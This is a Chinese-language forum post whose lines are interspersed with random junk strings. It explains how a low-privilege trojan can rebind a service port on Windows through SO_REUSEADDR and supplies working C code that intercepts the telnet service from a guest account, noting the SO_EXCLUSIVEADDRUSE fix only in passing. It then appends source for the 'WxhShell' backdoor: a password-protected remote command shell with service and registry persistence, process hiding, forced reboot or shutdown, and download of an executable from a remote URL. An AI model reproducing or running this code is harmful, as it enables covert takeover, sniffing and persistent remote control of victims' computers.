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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;X9nYH  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9=-d/y?  
8M"0o}wx  
  saddr.sin_family = AF_INET; 0\Q/$#3  
;:^^Qfp  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); xUKn  
bPe|/wp  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); jTDaW8@L  
52zD!(   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )`*=P}D  
 hxedQvW  
  这意味着什么?意味着可以进行如下的攻击: [ q<Vm-  
oX;D|8 f  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 O%Mi`\W@  
;I#f:UQ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }8zw| (GR,  
]P5|V4FXo  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 | M|5Nc>W  
;QiSz=DyA  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   UE-+P  
;1wRo`RD  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3=)!9;uY  
1&wI*4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~0^d-,ZD5  
[5iBXOmpS=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 V1 H3}  
LXGlG  
  #include y1FE +EX[  
  #include 8,l~e8&  
  #include y\xa<!:g  
  #include    Y[8GoqE|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   qi&;2Yv  
  int main() 15 /lX  
  { o~(/Twxam  
  WORD wVersionRequested; lV*dQwa?i  
  DWORD ret; P`HDQ/^O  
  WSADATA wsaData; 6^'BhHP  
  BOOL val; :O~*}7G  
  SOCKADDR_IN saddr; f\{ynC2m  
  SOCKADDR_IN scaddr; uxjx~+qFd  
  int err; /jtU<uX  
  SOCKET s; TrEo5H;  
  SOCKET sc; |@+/R .l  
  int caddsize; WcG}9)9  
  HANDLE mt; zD9gE  
  DWORD tid;   RdirEH *H  
  wVersionRequested = MAKEWORD( 2, 2 ); |BC/ERms  
  err = WSAStartup( wVersionRequested, &wsaData ); T"tR*2HwSd  
  if ( err != 0 ) { \a .^5g  
  printf("error!WSAStartup failed!\n"); 3utv  
  return -1; mbS`+)1=l  
  } C;EC4n+s  
  saddr.sin_family = AF_INET; eL`}j9  
   A.%MrgOOX  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 )yj:P  
a#k=! W  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0|^/e -^  
  saddr.sin_port = htons(23); U =G}@Y  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L  (#DVF  
  { _Z>I"m  
  printf("error!socket failed!\n"); : CR1Oy9  
  return -1; !go$J]T  
  } W~QH"Sq  
  val = TRUE; VxKD>:3c  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 0&@pD`K e  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) L#}HeOEi[  
  { Uh tk`2O  
  printf("error!setsockopt failed!\n"); Hx|<NS0}_  
  return -1; Ne=o+ $.(  
  } l )m]<E X  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; !VXs yH3r5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "{lw;AA5F  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 p3L0'rY|+  
WYayr1  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9td[^EB#(h  
  { \GFFPCi4 D  
  ret=GetLastError(); j/Dc';,d.(  
  printf("error!bind failed!\n"); p[&6hXTd  
  return -1; ~dm/U7B:  
  } -UMPt"o  
  listen(s,2); n_qDg  
  while(1) d${RZ}/  
  { IcDAl~uG  
  caddsize = sizeof(scaddr); ="<S1}.  
  //接受连接请求 $X;wj5oj  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); waYH_)Zx  
  if(sc!=INVALID_SOCKET) dPtQ Sa  
  { 1;Q>B>6  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]%4rL S  
  if(mt==NULL) :-.K.Ch|:  
  { +kXj+2  
  printf("Thread Creat Failed!\n"); CL%+`c0  
  break; EK JPeeRY  
  } DJu&l  
  } OSDx  
  CloseHandle(mt); >,#7 3u#  
  } ,];4+&|8kW  
  closesocket(s); F-g7*  
  WSACleanup(); -2`D(xC  
  return 0; '(4#He?Gd  
  }   D{J+}*y  
  DWORD WINAPI ClientThread(LPVOID lpParam) v)VhR2d3  
  { </%n:<z4  
  SOCKET ss = (SOCKET)lpParam; !K~L&.\T  
  SOCKET sc; j_I  
  unsigned char buf[4096]; @|1/yQgi  
  SOCKADDR_IN saddr; \kQ@G  
  long num; )HFl 0[vT  
  DWORD val; TfFuHzZZ  
  DWORD ret; _Q $D6+  
  //如果是隐藏端口应用的话,可以在此处加一些判断 )}KQtkU8:  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   \B$Q%\-PX  
  saddr.sin_family = AF_INET; -$8M#n,  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); +~H mP Q  
  saddr.sin_port = htons(23); ' >F_y t9  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .AzGPcJY  
  { 5V($|3PI  
  printf("error!socket failed!\n"); FV1!IE-}-  
  return -1; [HV9KAoA  
  } a BHV  
  val = 100; j+E[ [  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F9Bj$`#)  
  { Rw R.*?#  
  ret = GetLastError(); R\+O.vX  
  return -1; 2S{IZ]  
  } sXmZ0Dv  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "?yu^  
  { 2Y2J)5,  
  ret = GetLastError(); bO:m^*  
  return -1; cHG>iW9C  
  } ti)4J2c,8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) rf%NfU  
  { v.aSf`K  
  printf("error!socket connect failed!\n"); m&h5u,  
  closesocket(sc); @Qa)@'u  
  closesocket(ss); unUCn5hJ=  
  return -1; 7fB:wPlG;  
  } S&rfMRP  
  while(1) =h"*1`  
  { Mv O!p  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 L,QAE)S'a  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 R\oas"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ;h }^f-  
  num = recv(ss,buf,4096,0); dF- d  
  if(num>0) wW1E 'Vy{  
  send(sc,buf,num,0); e+ZC<Bdh  
  else if(num==0) OSvv\3=  
  break; wJ| wAS  
  num = recv(sc,buf,4096,0); B_B~Y8=3`  
  if(num>0) xP1`FSO8=  
  send(ss,buf,num,0); #&hu-gMV  
  else if(num==0) ;zbF~5e  
  break; 9bDxml1  
  } 'yWv @)  
  closesocket(ss); Q>FuNdUk  
  closesocket(sc); L'>t:^QTh  
  return 0 ; p4|Zz:f  
  } '$cU\DTN6  
m;v/(d>  
8")1,   
========================================================== ^<@9ph  
#Moju  
下边附上一个代码,,WXhSHELL f y|Ae  
mST/u>'  
========================================================== -6+&?f  
nsq7,%5  
#include "stdafx.h" o,fBOPIN  
^c9~~m16+  
#include <stdio.h> *d,u)l :S  
#include <string.h> k($N_XlE  
#include <windows.h> TT(d CHft  
#include <winsock2.h> "~f=7  
#include <winsvc.h> 'WUevPmt  
#include <urlmon.h> 8#Q=CTjF  
iCouGd}  
#pragma comment (lib, "Ws2_32.lib") =;1MpD  
#pragma comment (lib, "urlmon.lib") ^[d|^fRH Q  
e/?>6'6 5  
#define MAX_USER   100 // 最大客户端连接数 YdI|xu>0A^  
#define BUF_SOCK   200 // sock buffer xl(];&A3  
#define KEY_BUFF   255 // 输入 buffer Z'%k`F  
X3KP N  
#define REBOOT     0   // 重启 *lN>RWbM%  
#define SHUTDOWN   1   // 关机 &k5 Z|d|  
>^@/Ba$h  
#define DEF_PORT   5000 // 监听端口 XK)qDg  
_Z:WgO].  
#define REG_LEN     16   // 注册表键长度 hr8v O"tZN  
#define SVC_LEN     80   // NT服务名长度 r9/PmZo4x  
+yq Z\$ii  
// 从dll定义API r+BPz%wM=O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); & >AXB6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w*})ZYIUT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1or4s{bmo  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B_k[N}|zD  
!9l c6W  
// wxhshell配置信息 =$B:i>z<  
struct WSCFG { -P09u82  
  int ws_port;         // 监听端口 =NH p%|  
  char ws_passstr[REG_LEN]; // 口令 ( _ZOUMe  
  int ws_autoins;       // 安装标记, 1=yes 0=no [Hn4&PET  
  char ws_regname[REG_LEN]; // 注册表键名 > dJvl|  
  char ws_svcname[REG_LEN]; // 服务名 T(<C8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (R*K)(Nw[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3wEVjT-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #:v e3gWl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -*sDa6L  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m~fA=#l l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7P`|wNq  
K h}Oiw  
}; b7It8  
,y[wS5li  
// default Wxhshell configuration +8FlDiP  
struct WSCFG wscfg={DEF_PORT, s|U=_,.  
    "xuhuanlingzhe", 21$YZlhJ  
    1, ,X&lVv#  
    "Wxhshell", ?qviJDD|f  
    "Wxhshell", `e t0i.  
            "WxhShell Service", P9/5M4]tt  
    "Wrsky Windows CmdShell Service", /q4<ZS#  
    "Please Input Your Password: ", s%nx8"   
  1, 8_MR7'C1hi  
  "http://www.wrsky.com/wxhshell.exe", C?e1 a9r  
  "Wxhshell.exe" ]q0mo1-EZ!  
    }; CT@JNG$<"  
5MH\Gq e7  
// 消息定义模块 M`$s dZ"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }fW@8ji\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (~P b,Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ">}l8MA  
char *msg_ws_ext="\n\rExit."; O|J`M2r  
char *msg_ws_end="\n\rQuit."; AF4:v<EN  
char *msg_ws_boot="\n\rReboot..."; O_#Ag K<A  
char *msg_ws_poff="\n\rShutdown..."; LL+ROX^M  
char *msg_ws_down="\n\rSave to "; >A#wvQl7   
u/e-m/  
char *msg_ws_err="\n\rErr!"; [XWY-q#Gg  
char *msg_ws_ok="\n\rOK!"; (&4aebkZO  
Lrgv:n  
char ExeFile[MAX_PATH]; PsTPGK#S  
int nUser = 0; +(iM]L$Fw%  
HANDLE handles[MAX_USER]; >&mlwxqv  
int OsIsNt; cB U,!  
iN0gvjZ  
SERVICE_STATUS       serviceStatus; ]Cpd`}'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; MP\$_;&xB  
I"4j152P|  
// 函数声明 " d3pkY  
int Install(void); XUmL8  
int Uninstall(void); %  (R10G  
int DownloadFile(char *sURL, SOCKET wsh); {O,D9<  
int Boot(int flag); pOlo_na}[  
void HideProc(void); ~9JU_R^%m  
int GetOsVer(void); 6D,xs}j1  
int Wxhshell(SOCKET wsl); UH1AT#?!W  
void TalkWithClient(void *cs); @~0kSA7  
int CmdShell(SOCKET sock); 9"g=it2Rh6  
int StartFromService(void); ,vEwck#  
int StartWxhshell(LPSTR lpCmdLine); &B\tcF  
F gM<2$h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _D:#M  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z -`j)3Y  
JnCp'`  
// 数据结构和表定义 [H5TtsQ[  
SERVICE_TABLE_ENTRY DispatchTable[] = TN}YRXtW+  
{ ]q DhGt  
{wscfg.ws_svcname, NTServiceMain}, aJlSIw*Q,  
{NULL, NULL} Be+CV">2  
}; $E@L{5Yt  
|'WaBy1  
// 自我安装 +U9Gj#  
int Install(void) DTrS9j?z  
{ n*G[ZW*Uc  
  char svExeFile[MAX_PATH]; !uLW-[F,  
  HKEY key; QLYb>8?"C  
  strcpy(svExeFile,ExeFile); bE _=L=NG  
R9Wh/@J]  
// 如果是win9x系统,修改注册表设为自启动 e0%?;w-TL  
if(!OsIsNt) { _Z'j%/-4@D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { } )O ^xF ~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W!pLk/|ls  
  RegCloseKey(key); <Y9vc:S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w4U]lg<}E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7Wb:^.d g  
  RegCloseKey(key); ,Ju f  
  return 0; qepsR/0M  
    } l$D]*_ jc,  
  } EotZ$O=  
} D4[1CQ@}4D  
else { ItGi2'}  
6Clxe Lk  
// 如果是NT以上系统,安装为系统服务 57e'a&}e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); uj|{TV>v9  
if (schSCManager!=0) !={Z]J  
{ ;o]'7qGb  
  SC_HANDLE schService = CreateService :IDD(<^9  
  ( w(pLU$6X  
  schSCManager, 2@ vSe  
  wscfg.ws_svcname, -M}#-qwf  
  wscfg.ws_svcdisp, ;u!qu$O  
  SERVICE_ALL_ACCESS, 0Qvbc}KP8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4*W ??(=j  
  SERVICE_AUTO_START, Uj&2'>MJ$  
  SERVICE_ERROR_NORMAL, B Jp\a7`;  
  svExeFile, v# ab2  
  NULL, @K/}Ob4   
  NULL, l-4T Tg  
  NULL, PV vNu5k  
  NULL, =8S*t5  
  NULL =,&PD(.  
  ); +h^>?U,  
  if (schService!=0) | Zx  
  { X=)Ue  
  CloseServiceHandle(schService); "M5P-l$p}  
  CloseServiceHandle(schSCManager); MkZm =Sf  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w!o[pvyR$  
  strcat(svExeFile,wscfg.ws_svcname); ;rWgt!l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A\Rkt;:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); CrC1&F\dq  
  RegCloseKey(key); {aP5Mem  
  return 0; v 0mc1g+9  
    } &3l g\&"  
  } _2+}_ >d  
  CloseServiceHandle(schSCManager); |r5 np  
} $A\fm`  
} /,dcr*  
@G< J+pm  
return 1; BYt#aqf  
} |SC^H56+  
VE5w!of  
// 自我卸载 KCd}N  
int Uninstall(void) %cMX]U  
{ ?WE#%W7U  
  HKEY key; n[ip'*2L  
E>f+E8?  
if(!OsIsNt) { IMLk{y%6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O\;Z4qn2=  
  RegDeleteValue(key,wscfg.ws_regname); d;O16xcM/  
  RegCloseKey(key); GlYNC&,VL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -C]RFlV  
  RegDeleteValue(key,wscfg.ws_regname); y?j#;n0  
  RegCloseKey(key); a5jc8S>  
  return 0; NXsDn&&O  
  } 3jQy"9f  
} Sc'z vlq  
} :xISS  
else { }eh<F^  
7K3S\oPej  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -b+VzVJZ  
if (schSCManager!=0) Cm g(# $ X  
{ Q!8AFLff4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \}Fx''  
  if (schService!=0) U 2am1}  
  { @qk$ 6X  
  if(DeleteService(schService)!=0) { xo2PxUO  
  CloseServiceHandle(schService); heJI5t,  
  CloseServiceHandle(schSCManager);  nN1\  
  return 0; Yy`\??,  
  } gV@FT|j!i  
  CloseServiceHandle(schService); - &u]B$  
  } Jm&7&si7  
  CloseServiceHandle(schSCManager); GJN"43  
} 0zfh:O  
} ek!x:G$'  
8A/"ia  
return 1; *TQXE:vZ[  
} umZy=KHj  
ZGgKCCt  
// 从指定url下载文件 Rd~-.&   
int DownloadFile(char *sURL, SOCKET wsh) 9/3gF)I}  
{ ?g gl8bzA  
  HRESULT hr; rOd<nP^`\  
char seps[]= "/"; FJo  ?~  
char *token; -d]-R ?mQ  
char *file; 3D L7  
char myURL[MAX_PATH]; vAWJP_;J  
char myFILE[MAX_PATH]; Bfe#,  
F N6 GV  
strcpy(myURL,sURL); ,:POo^!/fT  
  token=strtok(myURL,seps);  tKOTQ8i4  
  while(token!=NULL) R:c$f(aKv%  
  { &R+/Ie#0dz  
    file=token; ;8\w$SPP  
  token=strtok(NULL,seps); _b8&$\>  
  } ^R- -&{I  
6'CZfs\  
GetCurrentDirectory(MAX_PATH,myFILE); =@(&xfTC  
strcat(myFILE, "\\"); J%ng8v5ex  
strcat(myFILE, file); 4po zTe  
  send(wsh,myFILE,strlen(myFILE),0); n{sF'n</  
send(wsh,"...",3,0); 87WIDr  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ..BIoSrj  
  if(hr==S_OK) FOJ-?s(  
return 0; &?N1-?BjM  
else hG~4i:p <  
return 1; d-/{@   
kN(*.Q|VZ  
} o2M+=O@  
~ 8L]!OQ9=  
// 系统电源模块 T DOOq;+  
int Boot(int flag) k4:$LFw@  
{ K|JpkEw  
  HANDLE hToken; ~D# -i >Z  
  TOKEN_PRIVILEGES tkp; 2;h4$^`dt  
q"){P RTm/  
  if(OsIsNt) { O[%"zO"S  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &V/n!|q<H  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .*\TG/x  
    tkp.PrivilegeCount = 1; /}+VH_N1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; '5xIisP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u5D@,wSNz  
if(flag==REBOOT) { l;{n" F  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %N5gQXg  
  return 0; :/YHU3~Y  
} #dy z  
else { ED0\k $  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2ZTz{|y  
  return 0; wEd+Ds]$  
} e4:,W+g,9  
  } L#U-d zy\  
  else { {A!1s;  
if(flag==REBOOT) { 5cahbx1"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Hq<Sg4nz  
  return 0; aumWU{j=  
} Y9V%eFY5E  
else { yM* CA,(c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bloe|o!  
  return 0; >]b>gc?3  
} GD(gm, ,)  
} KX8$j$yW  
scr`] tD  
return 1; X}jWNN  
} vNdMPulr{  
/%qw-v9qPV  
// win9x进程隐藏模块 2;8I0BH*'  
void HideProc(void) :+?eF^ 5  
{ *=G~26*!V  
,_SE!iL  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &Bn> YFu  
  if ( hKernel != NULL ) W=QT-4  
  { {B;<R1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); v67utISNI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (29h{=P'  
    FreeLibrary(hKernel); :vsBobiJ  
  } Z\1*g k  
*\gS 2[S  
return; }G{'Rb  
} ^)i5.o\  
w_gFN%8  
// 获取操作系统版本 _ ^ JhncL  
int GetOsVer(void) YgiLfz iT  
{ JXT%@w>I  
  OSVERSIONINFO winfo; =`&7pYd,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $!?tJ@{  
  GetVersionEx(&winfo); ZnrsJ1f:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L>trLD1pt  
  return 1; *s=jKV#  
  else p* '%<3ml  
  return 0; jRn5)u  
} v d{`*|x  
<R;t>~8x  
// 客户端句柄模块 !sTOo  
int Wxhshell(SOCKET wsl) T O]wD^`  
{ E \p Qh  
  SOCKET wsh; < bvbfS  
  struct sockaddr_in client; $Gy&  
  DWORD myID; 2`Dqu"TWh  
4+tKg*|  
  while(nUser<MAX_USER) k vu SE  
{ T'W@fif  
  int nSize=sizeof(client); R>C^duos.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t^k^e{,q#  
  if(wsh==INVALID_SOCKET) return 1; `d,v  
qj.>4d  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c4Leh"ry  
if(handles[nUser]==0) c>$PLO^  
  closesocket(wsh); $>M-oNeC  
else R(^2+mV?  
  nUser++; Xn%ty@8  
  } $n><p>`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L vPcH  
^ UDNp.6k  
  return 0; t@#l0lu$  
} !T|q/ri  
QjIn0MJ)Xm  
// 关闭 socket uHQf<R$:  
void CloseIt(SOCKET wsh) \3hj/   
{ Gi+ZI{)  
closesocket(wsh); <i$ud&D  
nUser--; /cXVJ(#j  
ExitThread(0); <E&8g[x6  
} fep8hf B;  
L|`(u  
// 客户端请求句柄 j3Yz=bsQ{c  
void TalkWithClient(void *cs) O;6am++M@  
{ k|r|*|8  
W1!Nq`  
  SOCKET wsh=(SOCKET)cs; n5U-D0/Q  
  char pwd[SVC_LEN]; vU9j|z  
  char cmd[KEY_BUFF]; RG8Ek"D@  
char chr[1]; K;'s+ZD  
int i,j; ,7/F?!G!J  
wfMtWXd;KB  
  while (nUser < MAX_USER) { ]n 'FD|  
L5RBe  
if(wscfg.ws_passstr) { #wS/QrRE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U3tA"X.K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~gi,ky^!  
  //ZeroMemory(pwd,KEY_BUFF); (Do](C  
      i=0; cYx.<b JH  
  while(i<SVC_LEN) { 0_f6Qrcj  
 N3m~nEj  
  // 设置超时 "Nh}_jO  
  fd_set FdRead; j&|>Aa${  
  struct timeval TimeOut; '2:HBJ  
  FD_ZERO(&FdRead); (Wu J9  
  FD_SET(wsh,&FdRead); [rO TWN  
  TimeOut.tv_sec=8; rYfN  
  TimeOut.tv_usec=0; +#RqQ8 \  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K)&oDwk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L3J .Oh  
.Gcs/PN   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *1b1phh0/  
  pwd=chr[0]; Naa "^  
  if(chr[0]==0xd || chr[0]==0xa) { d) $B  
  pwd=0; g5[r!XO  
  break; Ap)pOD7  
  } =}1m.  
  i++; OaF[t*]D3  
    } s;Sv@=\  
EHlkt,h*  
  // 如果是非法用户,关闭 socket W&s@2y?rF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wqE+hKs,  
} _!C M  
(> VD#n  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5tUN'KEbN  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]1dnp]r  
@#1T-*  
while(1) { =2&Sw(6j  
nJr:U2d  
  ZeroMemory(cmd,KEY_BUFF); \wb0%> 0  
%<rV~9:  
      // 自动支持客户端 telnet标准   D:.1Be`Tv  
  j=0; zi?G wh~  
  while(j<KEY_BUFF) { F- l!i/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =67tQx58  
  cmd[j]=chr[0]; E,gpi  
  if(chr[0]==0xa || chr[0]==0xd) { Bxf]Lu,\U@  
  cmd[j]=0; v[!ZRwk4w3  
  break; #Nv)SCc  
  } W</\F&  
  j++; +<$b6^>!$  
    } SadffAvSA{  
M|9=B<6`7  
  // 下载文件 cqZuG}VR  
  if(strstr(cmd,"http://")) { <E1ngG  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?>T (  
  if(DownloadFile(cmd,wsh)) $guaUe[x  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); yN:U"]glC  
  else 0~=>:^H'`q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rZkl0Y;n\  
  } 5hg ^K^ZZ  
  else { BW5!@D2  
1 R,?kUa  
    switch(cmd[0]) { %O02xr=  
  <:!;79T\  
  // 帮助 kx6-8j3gD7  
  case '?': { /;V:<mekf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _d*QA{  
    break; Q)%a2s;  
  } k35E,?T  
  // 安装 .u^4vVz  
  case 'i': { TBu[3X%  
    if(Install()) XFJz\'{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $I4:g.gKpG  
    else M0Vs9K=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WEsX+okj  
    break; 54>gr1B  
    } AB[#  
  // 卸载 7CV}QV}G  
  case 'r': { Vohd d_x  
    if(Uninstall()) &p83X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x/,(G~  
    else A#x_>fV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bY!1t}ALh  
    break; uj^l&"  
    } 6  5>}Q.p  
  // 显示 wxhshell 所在路径 :7 OhplI  
  case 'p': { /;9iDjG  
    char svExeFile[MAX_PATH]; {qbx iL-  
    strcpy(svExeFile,"\n\r"); jPA^SxM  
      strcat(svExeFile,ExeFile); YAJr@v+Ls  
        send(wsh,svExeFile,strlen(svExeFile),0); p?e-`xs  
    break; .xV^%e?H  
    } j@C*kj;-  
  // 重启 \Rz-*zr&  
  case 'b': { (^mpb  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); la{Iqm{i  
    if(Boot(REBOOT)) 0.lOSAq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fYUbr"Oe  
    else { *e%(J$t  
    closesocket(wsh); L{uQ: ;w1  
    ExitThread(0); / &#b*46  
    } L6n<h  
    break; 5rlZ'>I.  
    } s8|F e_  
  // 关机 M~LYq  
  case 'd': { JLu>w:\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  j*#k%;c  
    if(Boot(SHUTDOWN)) cd:VFjT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .XPPd?R  
